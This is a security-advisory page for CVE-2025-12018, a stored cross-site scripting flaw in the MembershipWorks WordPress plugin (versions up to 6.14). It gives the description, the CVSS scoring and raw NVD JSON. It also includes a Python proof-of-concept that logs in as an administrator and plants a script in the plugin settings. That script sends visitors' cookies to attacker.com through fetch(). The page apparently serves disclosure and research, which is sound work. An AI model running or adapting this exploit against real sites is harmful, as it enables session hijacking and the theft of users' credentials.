Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-12018 CVSS 4.4 MEDIUM

CVE-2025-12018

Published: 2025-11-12 08:15:41
Last Modified: 2026-04-15 00:35:42

Description

The MembershipWorks – Membership, Events & Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 6.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MembershipWorks (memberfindme) <= 6.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12018 Stored XSS PoC # Target: WordPress MembershipWorks plugin <= 6.14 # Author: [email protected] import requests import sys from urllib.parse import urljoin def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS in MembershipWorks admin settings Requires administrator privileges """ session = requests.Session() # Step 1: Login as administrator login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/admin.php?page=memberfindme', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed') return False print('[+] Login successful') # Step 2: Inject malicious XSS payload in plugin settings settings_url = urljoin(target_url, '/wp-admin/admin.php?page=memberfindme_settings') # XSS payload - steals admin cookies xss_payload = '<script>\n' xss_payload += 'fetch("https://attacker.com/log?c="+document.cookie);\n' xss_payload += '</script>' settings_data = { 'membership_name': xss_payload, 'submit_settings': 'Save Changes' } resp = session.post(settings_url, data=settings_data) if 'Settings saved' in resp.text or resp.status_code == 200: print('[+] XSS payload injected successfully') print('[+] Payload will execute when admin accesses settings page') print('[+] Victim cookies sent to: https://attacker.com/log') return True else: print('[-] Injection failed') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12018", "sourceIdentifier": "[email protected]", "published": "2025-11-12T08:15:40.590", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MembershipWorks – Membership, Events & Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 6.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/zast-ai/vulnerability-reports/blob/main/wordpress/plugin/memberfindme/stored-xss.md", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/memberfindme/tags/6.14/memberfindme.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/memberfindme/tags/6.14/memberfindme.php#L437", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3393026%40memberfindme&new=3393026%40memberfindme&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/memberfindme/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7cd412d8-6d14-4803-aae6-087e02f9d75f?source=cve", "source": "[email protected]"}]}}